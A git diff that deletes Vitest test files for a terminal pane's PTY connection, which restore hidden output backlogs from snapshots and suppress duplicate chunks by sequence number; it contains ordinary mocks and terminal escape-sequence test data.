-        async function restoreVisiblePaneToBaseline(): Promise<{
-          pane: ReturnType<typeof createPane>
-          dataCallback: (data: string, meta?: { seq?: number; rawLength?: number }) => void
-          getMainBufferSnapshot: ReturnType<typeof vi.fn>
-          transport: MockTransport
-          deps: ReturnType<typeof createDeps>
-        }> {
-          enableMainAuthority()
-          const deps = createDeps({ isVisibleRef: { current: true } })
-          const { pane, dataCallback, transport } = await connectHiddenPane(deps)
-          const transportOptions = createdTransportOptions.at(-1) as {
-            onPtySpawn?: (ptyId: string) => void
-          }
-          transportOptions.onPtySpawn?.('pty-id')
-          const getMainBufferSnapshot = vi.mocked(window.api.pty.getMainBufferSnapshot)
-          getMainBufferSnapshot.mockResolvedValue({
-            data: 'restored snapshot\r\n',
-            cols: 100,
-            rows: 30,
-            seq: 64
-          })
-          const { _dispatchPtyModelRestoreNeededForTest } =
-            await import('../../pty-transport/delivery/pty-model-restore-channel')
-          _dispatchPtyModelRestoreNeededForTest({
-            id: 'pty-id',
-            reason: 'pending-cap',
-            markerSeq: 64
-          })
-          await flushAsyncTicks(20)
-          expect(getMainBufferSnapshot).toHaveBeenCalledTimes(1)
-          expect(pane.terminal.write).toHaveBeenCalledWith(
-            expect.stringContaining('restored snapshot'),
-            expect.any(Function)
-          )
-          pane.terminal.write.mockClear()
-          return { pane, dataCallback, getMainBufferSnapshot, transport, deps }
-        }
-
-        function writtenData(pane: ReturnType<typeof createPane>): string {
-          return pane.terminal.write.mock.calls.map((call) => String(call[0])).join('')
-        }
-
-        it('records a 2031 subscribe on a chunk the restored snapshot drops as duplicate', async () => {
-          // Scan before duplicate reconciliation: replay omits mode tracking, leaving this delivery as the only subscription evidence.
-          enableMainAuthority()
-          mockStoreState.settings = {
-            ...mockStoreState.settings,
-            terminalHiddenDeliveryGate: false
-          } as StoreState['settings']
-          const { pane, dataCallback, transport, deps } = await restoreVisiblePaneToBaseline()
-          transport.sendInput.mockClear()
-
-          dataCallback(`SUB\x1b[?2031h`, { seq: 60, rawLength: 11 })
-          await flushAsyncTicks(8)
-
-          expect(writtenData(pane)).not.toContain('SUB')
-          expect(deps.paneMode2031Ref.current.get(1)).toBe(true)
-          expect(transport.sendInput).not.toHaveBeenCalledWith(expect.stringMatching(/\?997/))
-        })
-
-        it('writes genuinely-new live output whose seq sits below an empty-backlog baseline', async () => {
-          // E2E twin: a live chunk's seq sits below main's cumulative baseline, but with an empty pending queue main can never re-deliver — so it must write, not drop.
-          enableMainAuthority()
-          const isVisibleRef = { current: true }
-          const deps = createDeps({ isVisibleRef })
-          const { pane, dataCallback } = await connectHiddenPane(deps)
-          const transportOptions = createdTransportOptions.at(-1) as {
-            onPtySpawn?: (ptyId: string) => void
-          }
-          transportOptions.onPtySpawn?.('pty-id')
-          const getMainBufferSnapshot = vi.mocked(window.api.pty.getMainBufferSnapshot)
-          // Visible prompt echo metered in main's cumulative seq domain.
-          dataCallback('$ node frame-script.mjs\r\n', { seq: 2_315, rawLength: 25 })
-          // Pane hides mid-stream; main drops the hidden frame and marks restore.
-          isVisibleRef.current = false
-          const { _dispatchPtyModelRestoreNeededForTest } =
-            await import('../../pty-transport/delivery/pty-model-restore-channel')
-          _dispatchPtyModelRestoreNeededForTest({
-            id: 'pty-id',
-            reason: 'hidden-drop',
-            markerSeq: 2_472
-          })
-          // Reveal: the snapshot covers everything ingested; pending queue empty (pendingDeliveryStartSeq === seq).
-          getMainBufferSnapshot.mockResolvedValue({
-            data: 'LOW_RISK_RESTORE_FRAME_40\r\n',
-            cols: 100,
-            rows: 30,
-            seq: 2_472,
-            pendingDeliveryStartSeq: 2_472
-          })
-          isVisibleRef.current = true
-          const { requestTerminalBacklogRecovery } =
-            await import('@/lib/pane-manager/pane-terminal-output-scheduler')
-          requestTerminalBacklogRecovery(pane.terminal as never)
-          await flushAsyncTicks(20)
-          expect(writtenData(pane)).toContain('LOW_RISK_RESTORE_FRAME_40')
-          pane.terminal.write.mockClear()
-
-          // Newer live frame injected with a seq domain unrelated to main's counter (e2e __terminalPtyDataInjection twin).
-          dataCallback('LOW_RISK_RESTORE_FRAME_41\r\n', { seq: 315, rawLength: 27 })
-          await flushAsyncTicks(8)
-          expect(writtenData(pane)).toContain('LOW_RISK_RESTORE_FRAME_41')
-
-          // The retired baseline keeps subsequent low-seq live chunks flowing.
-          dataCallback('progress=041\r\n', { seq: 329, rawLength: 14 })
-          await flushAsyncTicks(8)
-          expect(writtenData(pane)).toContain('progress=041')
-        })
-
-        it('keeps suppressing backlog duplicates inside the reported pending window', async () => {
-          const { pane, dataCallback, getMainBufferSnapshot } = await restoreVisiblePaneToBaseline()
-          getMainBufferSnapshot.mockResolvedValue({
-            data: 'windowed snapshot\r\n',
-            cols: 100,
-            rows: 30,
-            seq: 96,
-            pendingDeliveryStartSeq: 80
-          })
-          const { _dispatchPtyModelRestoreNeededForTest } =
-            await import('../../pty-transport/delivery/pty-model-restore-channel')
-          _dispatchPtyModelRestoreNeededForTest({
-            id: 'pty-id',
-            reason: 'pending-cap',
-            markerSeq: 96
-          })
-          await flushAsyncTicks(20)
-          expect(writtenData(pane)).toContain('windowed snapshot')
-          pane.terminal.write.mockClear()
-
-          // Inside the pending window (80, 96]: a draining backlog duplicate.
-          dataCallback('IN-WINDOW-DUP-16', { seq: 96, rawLength: 16 })
-          await flushAsyncTicks(8)
-          expect(writtenData(pane)).not.toContain('IN-WINDOW-DUP-16')
-
-          // Past the baseline: genuinely-new live output still flows.
-          dataCallback('PAST-BASELINE', { seq: 109, rawLength: 13 })
-          await flushAsyncTicks(8)
-          expect(writtenData(pane)).toContain('PAST-BASELINE')
-
-          // Below the pending window (≤ 80): main can never re-send these seqs, so this foreign seq domain is written, never dropped.
-          dataCallback('BELOW-WINDOW', { seq: 60, rawLength: 12 })
-          await flushAsyncTicks(8)
-          expect(writtenData(pane)).toContain('BELOW-WINDOW')
-        })
-      })
-    })
-  })
-}
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts b/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts
deleted file mode 100644
index 9e2bd77fd64..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-backlog-snapshot.test.ts
+++ /dev/null
@@ -1,566 +0,0 @@
-import type * as React from 'react'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import {
-  ABORT_TRUNCATED_CONTROL_STRING,
-  buildSnapshotReplayPrologue
-} from '../../../../../../shared/terminal/protocol/input-modes/terminal-mode-reset-profiles'
-import { flushAsyncTicks, createDeferred } from '../test-fixtures/pty-connection-test-async'
-import { NORMAL_BUFFER_PROLOGUE } from '../test-fixtures/pty-connection-test-constants'
-import { createRect } from '../test-fixtures/pty-connection-test-dom'
-import {
-  terminalWriteText,
-  createMockTransport,
-  createPane,
-  createManager,
-  type ConnectCallbacks,
-  type MockTransport
-} from '../test-fixtures/pty-connection-test-pane-fixtures'
-import {
-  buildPaneConnectionDeps,
-  type PtyConnectionAgentTitleMocks as AgentTitleMocks,
-  bindPaneAgentTitleMocks
-} from '../test-fixtures/pty-connection-test-deps'
-import { createInitialStoreState } from '../test-fixtures/pty-connection-test-store-fixtures'
-import type { StoreState } from '../test-fixtures/pty-connection-test-store-state'
-import {
-  installTerminalTestGlobals,
-  restoreTerminalTestGlobals
-} from '../test-fixtures/pty-connection-test-environment'
-
-const {
-  resetAndRefreshAllTerminalWebglAtlases,
-  scheduleRuntimeGraphSync,
-  shouldSeedCacheTimerOnInitialTitle,
-  toastInfo,
-  notifyCodexPaneBoundForStaleSweep,
-  presentPaneViewport
-} = vi.hoisted(() => ({
-  resetAndRefreshAllTerminalWebglAtlases: vi.fn(),
-  scheduleRuntimeGraphSync: vi.fn(),
-  shouldSeedCacheTimerOnInitialTitle: vi.fn(() => false),
-  toastInfo: vi.fn(),
-  notifyCodexPaneBoundForStaleSweep: vi.fn(),
-  presentPaneViewport: vi.fn()
-}))
-
-let mockStoreState: StoreState
-let transportFactoryQueue: MockTransport[] = []
-let createdTransportOptions: Record<string, unknown>[] = []
-let storeSubscribers: ((state: StoreState) => void)[] = []
-
-vi.mock('@/runtime/sync-runtime-graph/graph-sync-scheduler', () => ({
-  scheduleRuntimeGraphSync
-}))
-
-vi.mock('@/lib/pane-manager/pane-manager-registry', async (importOriginal) => ({
-  ...(await importOriginal<Record<string, unknown>>()),
-  resetAndRefreshAllTerminalWebglAtlases
-}))
-
-vi.mock('@/lib/pane-manager/pane-webgl-renderer', async (importOriginal) => ({
-  ...(await importOriginal<Record<string, unknown>>()),
-  presentPaneViewport
-}))
-vi.mock('@/lib/pane-manager/pane-viewport-present', async (importOriginal) => ({
-  ...(await importOriginal<Record<string, unknown>>()),
-  presentPaneViewport
-}))
-
-vi.mock('@/store/index', () => ({
-  useAppStore: {
-    getState: () => mockStoreState,
-    subscribe: (listener: (state: StoreState) => void) => {
-      storeSubscribers.push(listener)
-      return () => {
-        storeSubscribers = storeSubscribers.filter((candidate) => candidate !== listener)
-      }
-    }
-  }
-}))
-
-vi.mock('@/lib/agent-status/aggregation/worktree-agent-status', async (importOriginal) => {
-  const { buildAgentStatusModuleMock } =
-    await import('../test-fixtures/pty-connection-test-environment')
-  return buildAgentStatusModuleMock(await importOriginal<Record<string, unknown>>())
-})
-
-vi.mock('../../titles/cache-timer-seeding', () => ({
-  shouldSeedCacheTimerOnInitialTitle
-}))
-
-vi.mock('sonner', () => ({
-  toast: {
-    info: toastInfo
-  }
-}))
-
-vi.mock('@/lib/agent-session/accounts/codex/codex-stale-pane-sweep', () => ({
-  notifyCodexPaneBoundForStaleSweep
-}))
-
-// Pass useCallback through because this suite invokes notification hooks without rendering React.
-vi.mock('react', async (importOriginal) => {
-  const actual = await importOriginal<typeof React>()
-  return {
-    ...actual,
-    useCallback: <T extends (...args: unknown[]) => unknown>(fn: T): T => fn
-  }
-})
-
-vi.mock('../../pty-transport/ipc/pty-transport', () => ({
-  createIpcPtyTransport: vi.fn((options: Record<string, unknown>) => {
-    createdTransportOptions.push(options)
-    const nextTransport = transportFactoryQueue.shift()
-    if (!nextTransport) {
-      throw new Error('No mock transport queued')
-    }
-    return nextTransport
-  })
-}))
-
-vi.mock('../../pty-transport/remote-runtime/remote-runtime-pty-transport', () => ({
-  createRemoteRuntimePtyTransport: vi.fn(
-    (_environmentId: string, options: Record<string, unknown>) => {
-      createdTransportOptions.push(options)
-      const nextTransport = transportFactoryQueue.shift()
-      if (!nextTransport) {
-        throw new Error('No mock transport queued')
-      }
-      return nextTransport
-    }
-  )
-}))
-
-// Stub eager-buffer lookup to exercise live adoption without the IPC dispatcher.
-vi.mock('../../pty-transport/delivery/pty-dispatcher', async (importOriginal) => {
-  const actual = await importOriginal<Record<string, unknown>>()
-  return {
-    ...actual,
-    getEagerPtyBufferHandle: vi.fn(() => undefined)
-  }
-})
-
-function createDeps(overrides: Record<string, unknown> = {}) {
-  return buildPaneConnectionDeps(() => mockStoreState, overrides)
-}
-describe('connectPanePty', () => {
-  beforeEach(async () => {
-    vi.resetModules()
-    vi.clearAllMocks()
-    transportFactoryQueue = []
-    createdTransportOptions = []
-    storeSubscribers = []
-    mockStoreState = createInitialStoreState(() => mockStoreState)
-    await installTerminalTestGlobals()
-  })
-
-  afterEach(async () => {
-    await restoreTerminalTestGlobals()
-  })
-
-  // Use a real alt-screen pane so a stubbed normal-buffer check cannot pass without emitting the missing ?1049l reset.
-  it('emits the alt-screen unstick when the pane is on alt and the model is not', async () => {
-    const { connectPanePty } = await import('../connect-pane-pty')
-    const agentTitleMocks6 = await vi.importMock<AgentTitleMocks>(
-      '@/lib/agent-status/aggregation/worktree-agent-status'
-    )
-    const transport = createMockTransport('pty-id')
-    const capturedDataCallback: {
-      current: ((data: string, meta?: { seq?: number; rawLength?: number }) => void) | null
-    } = { current: null }
-    transport.connect.mockImplementation(async ({ callbacks }: { callbacks: ConnectCallbacks }) => {
-      capturedDataCallback.current = callbacks.onData ?? null
-      return 'pty-id'
-    })
-    transportFactoryQueue.push(transport)
-    const getMainBufferSnapshot = window.api.pty.getMainBufferSnapshot as unknown as ReturnType<
-      typeof vi.fn
-    >
-    const hidden = 'x'.repeat(2 * 1024 * 1024 + 1)
-    const live = 'visible-after\r\n'
-    getMainBufferSnapshot.mockResolvedValue({
-      data: 'snapshot-state\r\n',
-      cols: 100,
-      rows: 30,
-      seq: hidden.length + live.length
-    })
-
-    const pane = createPane(1)
-    // The gap ate the TUI's own `?1049l`, so the renderer is still on alt.
-    pane.terminal.buffer.active.type = 'alternate'
-    const deps = createDeps({ isVisibleRef: { current: false } })
-    const disposable = connectPanePty(
-      pane as never,
-      createManager(1) as never,
-      bindPaneAgentTitleMocks(deps as never, agentTitleMocks6)
-    )
-    await flushAsyncTicks(6)
-
-    capturedDataCallback.current?.(hidden, { seq: hidden.length, rawLength: hidden.length })
-    ;(deps.isVisibleRef as { current: boolean }).current = true
-    capturedDataCallback.current?.(live, {
-      seq: hidden.length + live.length,
-      rawLength: live.length
-    })
-    await flushAsyncTicks(20)
-
-    const written = pane.terminal.write.mock.calls.map(([data]) => data as string)
-    const prologue = written.find((data) => data.startsWith(ABORT_TRUNCATED_CONTROL_STRING))
-    expect(prologue).toBeDefined()
-    expect(prologue).toContain('\x1b[?1049l')
-    expect(prologue).not.toBe(NORMAL_BUFFER_PROLOGUE)
-    disposable.dispose()
-  })
-
-  // Why: pins the switch-off hidden fallback chain — 2MB lossy cap drops the backlog, latches restore, and reveal repaints from the model snapshot.
-  it('restores hidden backlog overflow from the main terminal snapshot on foreground output', async () => {
-    const { connectPanePty } = await import('../connect-pane-pty')
-    const agentTitleMocks7 = await vi.importMock<AgentTitleMocks>(
-      '@/lib/agent-status/aggregation/worktree-agent-status'
-    )
-    const transport = createMockTransport('pty-id')
-    const capturedDataCallback: {
-      current: ((data: string, meta?: { seq?: number; rawLength?: number }) => void) | null
-    } = { current: null }
-    transport.connect.mockImplementation(async ({ callbacks }: { callbacks: ConnectCallbacks }) => {
-      capturedDataCallback.current = callbacks.onData ?? null
-      return 'pty-id'
-    })
-    transportFactoryQueue.push(transport)
-    const getMainBufferSnapshot = window.api.pty.getMainBufferSnapshot as unknown as ReturnType<
-      typeof vi.fn
-    >
-    const hidden = 'x'.repeat(2 * 1024 * 1024 + 1)
-    const live = 'visible-after\r\n'
-    getMainBufferSnapshot.mockResolvedValue({
-      data: 'snapshot-state\r\n',
-      cols: 100,
-      rows: 30,
-      seq: hidden.length + live.length
-    })
-
-    const pane = createPane(1)
-    const manager = createManager(1)
-    const deps = createDeps({
-      isVisibleRef: { current: false }
-    })
-    const disposable = connectPanePty(
-      pane as never,
-      manager as never,
-      bindPaneAgentTitleMocks(deps as never, agentTitleMocks7)
-    )
-    await flushAsyncTicks(6)
-
-    capturedDataCallback.current?.(hidden, { seq: hidden.length, rawLength: hidden.length })
-    expect(pane.terminal.write).not.toHaveBeenCalled()
-
-    ;(deps.isVisibleRef as { current: boolean }).current = true
-    capturedDataCallback.current?.(live, {
-      seq: hidden.length + live.length,
-      rawLength: live.length
-    })
-    await flushAsyncTicks(20)
-
-    expect(getMainBufferSnapshot).toHaveBeenCalledWith('pty-id', { scrollbackRows: 5000 })
-    expect(pane.terminal.resize).toHaveBeenCalledWith(100, 30)
-    expect(pane.terminal.write).toHaveBeenCalledWith(NORMAL_BUFFER_PROLOGUE, expect.any(Function))
-    expect(pane.terminal.write).toHaveBeenCalledWith('snapshot-state\r\n', expect.any(Function))
-    expect(pane.terminal.write).not.toHaveBeenCalledWith(live, expect.any(Function))
-    disposable.dispose()
-  })
-
-  it('rebuilds normal and alternate buffers from an authoritative alternate snapshot', async () => {
-    const { connectPanePty } = await import('../connect-pane-pty')
-    const agentTitleMocks8 = await vi.importMock<AgentTitleMocks>(
-      '@/lib/agent-status/aggregation/worktree-agent-status'
-    )
-    const transport = createMockTransport('pty-id')
-    const capturedDataCallback: {
-      current: ((data: string, meta?: { seq?: number; rawLength?: number }) => void) | null
-    } = { current: null }
-    transport.connect.mockImplementation(async ({ callbacks }: { callbacks: ConnectCallbacks }) => {
-      capturedDataCallback.current = callbacks.onData ?? null
-      return 'pty-id'
-    })
-    transportFactoryQueue.push(transport)
-    const getMainBufferSnapshot = window.api.pty.getMainBufferSnapshot as unknown as ReturnType<
-      typeof vi.fn
-    >
-    const hidden = 'x'.repeat(2 * 1024 * 1024 + 1)
-    const live = 'visible-after-altscreen\r\n'
-    getMainBufferSnapshot.mockResolvedValue({
-      data: 'altscreen-snapshot\r\n',
-      cols: 100,
-      rows: 30,
-      seq: hidden.length + live.length,
-      alternateScreen: true,
-      scrollbackAnsi: 'preserved-shell-history\r\n'
-    })
-
-    const pane = createPane(1)
-    const manager = createManager(1)
-    const deps = createDeps({
-      isVisibleRef: { current: false }
-    })
-    const disposable = connectPanePty(
-      pane as never,
-      manager as never,
-      bindPaneAgentTitleMocks(deps as never, agentTitleMocks8)
-    )
-    await flushAsyncTicks(6)
-
-    capturedDataCallback.current?.(hidden, { seq: hidden.length, rawLength: hidden.length })
-    expect(pane.terminal.write).not.toHaveBeenCalled()
-
-    ;(deps.isVisibleRef as { current: boolean }).current = true
-    capturedDataCallback.current?.(live, {
-      seq: hidden.length + live.length,
-      rawLength: live.length
-    })
-    await flushAsyncTicks(20)
-
-    expect(getMainBufferSnapshot).toHaveBeenCalledWith('pty-id', { scrollbackRows: 5000 })
-    expect(pane.terminal.write).toHaveBeenCalledWith(NORMAL_BUFFER_PROLOGUE, expect.any(Function))
-    expect(pane.terminal.write).toHaveBeenCalledWith(
-      'preserved-shell-history\r\n',
-      expect.any(Function)
-    )
-    expect(pane.terminal.write).toHaveBeenCalledWith(
-      buildSnapshotReplayPrologue({ targetAlternateScreen: true, paneOnAlternateScreen: false }),
-      expect.any(Function)
-    )
-    const writes = (pane.terminal.write as ReturnType<typeof vi.fn>).mock.calls.map(
-      (call) => call[0]
-    )
-    expect(writes.indexOf('preserved-shell-history\r\n')).toBeLessThan(
-      writes.indexOf(
-        buildSnapshotReplayPrologue({ targetAlternateScreen: true, paneOnAlternateScreen: false })
-      )
-    )
-    expect(
-      writes.indexOf(
-        buildSnapshotReplayPrologue({ targetAlternateScreen: true, paneOnAlternateScreen: false })
-      )
-    ).toBeLessThan(writes.indexOf('altscreen-snapshot\r\n'))
-    expect(pane.terminal.write).toHaveBeenCalledWith('altscreen-snapshot\r\n', expect.any(Function))
-    disposable.dispose()
-  })
-
-  it('keeps a hidden-output alt frame at the capture grid below the fit floor', async () => {
-    const { connectPanePty } = await import('../connect-pane-pty')
-    const agentTitleMocks9 = await vi.importMock<AgentTitleMocks>(
-      '@/lib/agent-status/aggregation/worktree-agent-status'
-    )
-    const transport = createMockTransport('pty-id')
-    let onData: ConnectCallbacks['onData']
-    transport.connect.mockImplementation(async ({ callbacks }: { callbacks: ConnectCallbacks }) => {
-      onData = callbacks.onData
-      return 'pty-id'
-    })
-    transportFactoryQueue.push(transport)
-    const getMainBufferSnapshot = window.api.pty.getMainBufferSnapshot as unknown as ReturnType<
-      typeof vi.fn
-    >
-    const hidden = 'x'.repeat(2 * 1024 * 1024 + 1)
-    getMainBufferSnapshot.mockResolvedValue({
-      data: 'TOO-WIDE-ALT-FRAME',
-      frameRestoreAnsi: '\x1b[?1004h\x1b[?25l',
-      cols: 120,
-      rows: 40,
-      seq: hidden.length + 1,
-      alternateScreen: true,
-      scrollbackAnsi: 'preserved history'
-    })
-    const pane = createPane(1)
-    pane.terminal.cols = 80
-    pane.terminal.rows = 24
-    const writes: string[] = []
-    pane.terminal.write = vi.fn((data: string | Uint8Array, callback?: () => void) => {
-      data = terminalWriteText(data)
-      writes.push(data)
-      callback?.()
-    })
-    pane.container.getBoundingClientRect = vi.fn(() => createRect(4, 3))
-    const deps = createDeps({ isVisibleRef: { current: false } })
-    const binding = connectPanePty(
-      pane as never,
-      createManager(1) as never,
-      bindPaneAgentTitleMocks(deps as never, agentTitleMocks9)
-    )
-    await flushAsyncTicks(6)
-    onData?.(hidden, { seq: hidden.length, rawLength: hidden.length })
-    const { _dispatchPtyModelRestoreNeededForTest } =
-      await import('../../pty-transport/delivery/pty-model-restore-channel')
-    _dispatchPtyModelRestoreNeededForTest({
-      id: 'pty-id',
-      reason: 'hidden-drop',
-      markerSeq: hidden.length + 1
-    })
-    ;(deps.isVisibleRef as { current: boolean }).current = true
-    const { requestTerminalBacklogRecovery } =
-      await import('@/lib/pane-manager/pane-terminal-output-scheduler')
-    requestTerminalBacklogRecovery(pane.terminal as never)
-    await flushAsyncTicks(20)
-
-    expect(writes.join('')).toContain('TOO-WIDE-ALT-FRAME')
-    expect(writes.join('')).toContain('preserved history')
-    expect(writes.filter((write) => write.includes('TOO-WIDE-ALT-FRAME'))).toHaveLength(1)
-    expect(pane.terminal.resize).toHaveBeenCalledWith(120, 40)
-    expect(transport.resize).not.toHaveBeenCalled()
-    binding.dispose()
-  })
-
-  it('drains foreground output after a renderer-sourced hidden-backlog snapshot without seq', async () => {
-    const { connectPanePty } = await import('../connect-pane-pty')
-    const agentTitleMocks10 = await vi.importMock<AgentTitleMocks>(
-      '@/lib/agent-status/aggregation/worktree-agent-status'
-    )
-    const transport = createMockTransport('pty-id')
-    const capturedDataCallback: {
-      current: ((data: string, meta?: { seq?: number; rawLength?: number }) => void) | null
-    } = { current: null }
-    transport.connect.mockImplementation(async ({ callbacks }: { callbacks: ConnectCallbacks }) => {
-      capturedDataCallback.current = callbacks.onData ?? null
-      return 'pty-id'
-    })
-    transportFactoryQueue.push(transport)
-    const getMainBufferSnapshot = window.api.pty.getMainBufferSnapshot as unknown as ReturnType<
-      typeof vi.fn
-    >
-    const hidden = 'x'.repeat(2 * 1024 * 1024 + 1)
-    const live = 'visible-after-renderer-fallback\r\n'
-    getMainBufferSnapshot.mockResolvedValue({
-      data: 'renderer-snapshot-state\r\n',
-      cols: 100,
-      rows: 30,
-      source: 'renderer'
-    })
-
-    const pane = createPane(1)
-    const manager = createManager(1)
-    const deps = createDeps({
-      isVisibleRef: { current: false }
-    })
-    const disposable = connectPanePty(
-      pane as never,
-      manager as never,
-      bindPaneAgentTitleMocks(deps as never, agentTitleMocks10)
-    )
-    await flushAsyncTicks(6)
-
-    capturedDataCallback.current?.(hidden, { seq: hidden.length, rawLength: hidden.length })
-    ;(deps.isVisibleRef as { current: boolean }).current = true
-    capturedDataCallback.current?.(live, {
-      seq: hidden.length + live.length,
-      rawLength: live.length
-    })
-    await flushAsyncTicks(20)
-
-    expect(pane.terminal.write).toHaveBeenCalledWith(
-      'renderer-snapshot-state\r\n',
-      expect.any(Function)
-    )
-    expect(pane.terminal.write).toHaveBeenCalledWith(live, expect.any(Function))
-    disposable.dispose()
-  })
-
-  it('slices abandoned pending chunks against a replay that already painted', async () => {
-    const { connectPanePty } = await import('../connect-pane-pty')
-    const agentTitleMocks11 = await vi.importMock<AgentTitleMocks>(
-      '@/lib/agent-status/aggregation/worktree-agent-status'
-    )
-    const transport = createMockTransport('pty-id')
-    const capturedDataCallback: {
-      current: ((data: string, meta?: { seq?: number; rawLength?: number }) => void) | null
-    } = { current: null }
-    transport.connect.mockImplementation(async ({ callbacks }: { callbacks: ConnectCallbacks }) => {
-      capturedDataCallback.current = callbacks.onData ?? null
-      return 'pty-id'
-    })
-    transportFactoryQueue.push(transport)
-    const getMainBufferSnapshot = window.api.pty.getMainBufferSnapshot as unknown as ReturnType<
-      typeof vi.fn
-    >
-    const snapshot = createDeferred<{
-      data: string
-      cols: number
-      rows: number
-      seq: number
-      pendingDeliveryStartSeq: number
-    }>()
-    getMainBufferSnapshot.mockReturnValue(snapshot.promise)
-    const hidden = 'hidden-codex-output\r\n'
-    const coveredLive = 'LIVE_DUP_LINE\r\n'
-    const afterAbandon = 'AFTER_ABANDON\r\n'
-
-    const pane = createPane(1)
-    const manager = createManager(1)
-    const deps = createDeps({
-      isVisibleRef: { current: false },
-      startup: { command: 'codex' }
-    })
-    const disposable = connectPanePty(
-      pane as never,
-      manager as never,
-      bindPaneAgentTitleMocks(deps as never, agentTitleMocks11)
-    )
-    await flushAsyncTicks(6)
-    expect(capturedDataCallback.current).not.toBeNull()
-
-    vi.useFakeTimers()
-    capturedDataCallback.current?.(hidden, { seq: hidden.length, rawLength: hidden.length })
-    ;(deps.isVisibleRef as { current: boolean }).current = true
-    capturedDataCallback.current?.(coveredLive, {
-      seq: hidden.length + coveredLive.length,
-      rawLength: coveredLive.length
-    })
-    await flushAsyncTicks(4)
-
-    const heldCallbacks: (() => void)[] = []
-    pane.terminal.write.mockImplementation(function write(
-      data: string | Uint8Array,
-      callback?: () => void
-    ): void {
-      if (callback) {
-        heldCallbacks.push(callback)
-      }
-      void data
-    })
-    snapshot.resolve({
-      data: 'SNAP_STATE\r\n',
-      cols: 100,
-      rows: 30,
-      seq: hidden.length + coveredLive.length,
-      pendingDeliveryStartSeq: 0
-    })
-    await flushAsyncTicks(6)
-
-    vi.advanceTimersByTime(750)
-    await flushAsyncTicks(10)
-
-    const writtenAfterAbandon = pane.terminal.write.mock.calls.map(([data]) => data as string)
-    expect(writtenAfterAbandon.join('')).not.toContain('LIVE_DUP_LINE')
-
-    pane.terminal.write.mockClear()
-    capturedDataCallback.current?.(coveredLive, {
-      seq: hidden.length + coveredLive.length,
-      rawLength: coveredLive.length
-    })
-    await flushAsyncTicks(4)
-    expect(pane.terminal.write.mock.calls.map(([data]) => data as string).join('')).not.toContain(
-      'LIVE_DUP_LINE'
-    )
-
-    capturedDataCallback.current?.(afterAbandon, {
-      seq: hidden.length + coveredLive.length + afterAbandon.length,
-      rawLength: afterAbandon.length
-    })
-    await flushAsyncTicks(4)
-    expect(pane.terminal.write.mock.calls.map(([data]) => data as string).join('')).toContain(
-      'AFTER_ABANDON'
-    )
-
-    heldCallbacks.forEach((callback) => callback())
-    disposable.dispose()
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-delivery-gate.spec.ts b/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-delivery-gate.spec.ts
deleted file mode 100644
index e5c2588f214..00000000000
--- a/src/renderer/src/components/terminal-pane/pty-connection/output-restore/pty-connection-hidden-delivery-gate.spec.ts
+++ /dev/null
@@ -1,384 +0,0 @@
-import { bindPtyConnectionTestMocks } from '../test-fixtures/pty-connection-mocks.spec'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { flushAsyncTicks, createDeferred } from '../test-fixtures/pty-connection-test-async'
-import {
-  createMockTransport,
-  createPane,
-  createManager,
-  type ConnectCallbacks,
-  type MockTransport
-} from '../test-fixtures/pty-connection-test-pane-fixtures'
-import {
-  buildPaneConnectionDeps,
-  type PtyConnectionAgentTitleMocks,
-  bindPaneAgentTitleMocks
-} from '../test-fixtures/pty-connection-test-deps'
-import { createInitialStoreState } from '../test-fixtures/pty-connection-test-store-fixtures'
-import type { StoreState } from '../test-fixtures/pty-connection-test-store-state'
-import {
-  installTerminalTestGlobals,
-  restoreTerminalTestGlobals
-} from '../test-fixtures/pty-connection-test-environment'
-
-const REMOUNTED = { remounted: true as const, generation: 1 }
-const TAB_MISSING = { remounted: false as const, declinedBy: 'tab-missing' as const }
-const AUTOMATIC_REQUEST = expect.objectContaining({ trigger: 'automatic' })
-
-export function registerPtyConnectionHiddenDeliveryGateTests(): void {
-  let mockStoreState: StoreState
-  let transportFactoryQueue: MockTransport[] = []
-  let createdTransportOptions: Record<string, unknown>[] = []
-  let storeSubscribers: ((state: StoreState) => void)[] = []
-
-  function createDeps(overrides: Record<string, unknown> = {}) {
-    return buildPaneConnectionDeps(() => mockStoreState, overrides)
-  }
-
-  describe('connectPanePty', () => {
-    beforeEach(async () => {
-      vi.clearAllMocks()
-      transportFactoryQueue = []
-      createdTransportOptions = []
-      storeSubscribers = []
-      mockStoreState = createInitialStoreState(() => mockStoreState)
-      bindPtyConnectionTestMocks({
-        getState: () => mockStoreState,
-        getTransportQueue: () => transportFactoryQueue,
-        getTransportOptions: () => createdTransportOptions,
-        getStoreSubscribers: () => storeSubscribers,
-        setStoreSubscribers: (subscribers) => {
-          storeSubscribers = subscribers
-        }
-      })
-      await installTerminalTestGlobals()
-    })
-
-    afterEach(async () => {
-      await restoreTerminalTestGlobals()
-    })
-
-    describe('hidden-delivery gate', () => {
-      function enableMainAuthority(): void {
-        mockStoreState.settings = {
-          ...mockStoreState.settings,
-          terminalMainSideEffectAuthority: true
-        } as StoreState['settings']
-      }
-
-      function getSetHiddenRendererPtyMock(): ReturnType<typeof vi.fn> {
-        return window.api.pty.setHiddenRendererPty as unknown as ReturnType<typeof vi.fn>
-      }
-
-      async function connectHiddenPane(deps: ReturnType<typeof createDeps>): Promise<{
-        transport: MockTransport
-        pane: ReturnType<typeof createPane>
-        dataCallback: (
-          data: string,
-          meta?: { seq?: number; rawLength?: number; droppedOutput?: boolean }
-        ) => void
-        binding: { syncProcessTracking: () => void; dispose: () => void }
-      }> {
-        const { connectPanePty } = await import('../connect-pane-pty')
-        const agentTitleMocks = await vi.importMock<PtyConnectionAgentTitleMocks>(
-          '@/lib/agent-status/aggregation/worktree-agent-status'
-        )
-        const transport = createMockTransport('pty-id')
-        const capturedDataCallback: {
-          current:
-            | ((
-                data: string,
-                meta?: { seq?: number; rawLength?: number; droppedOutput?: boolean }
-              ) => void)
-            | null
-        } = { current: null }
-        transport.connect.mockImplementation(
-          async ({ callbacks }: { callbacks: ConnectCallbacks }) => {
-            capturedDataCallback.current = callbacks.onData ?? null
-            return 'pty-id'
-          }
-        )
-        transportFactoryQueue.push(transport)
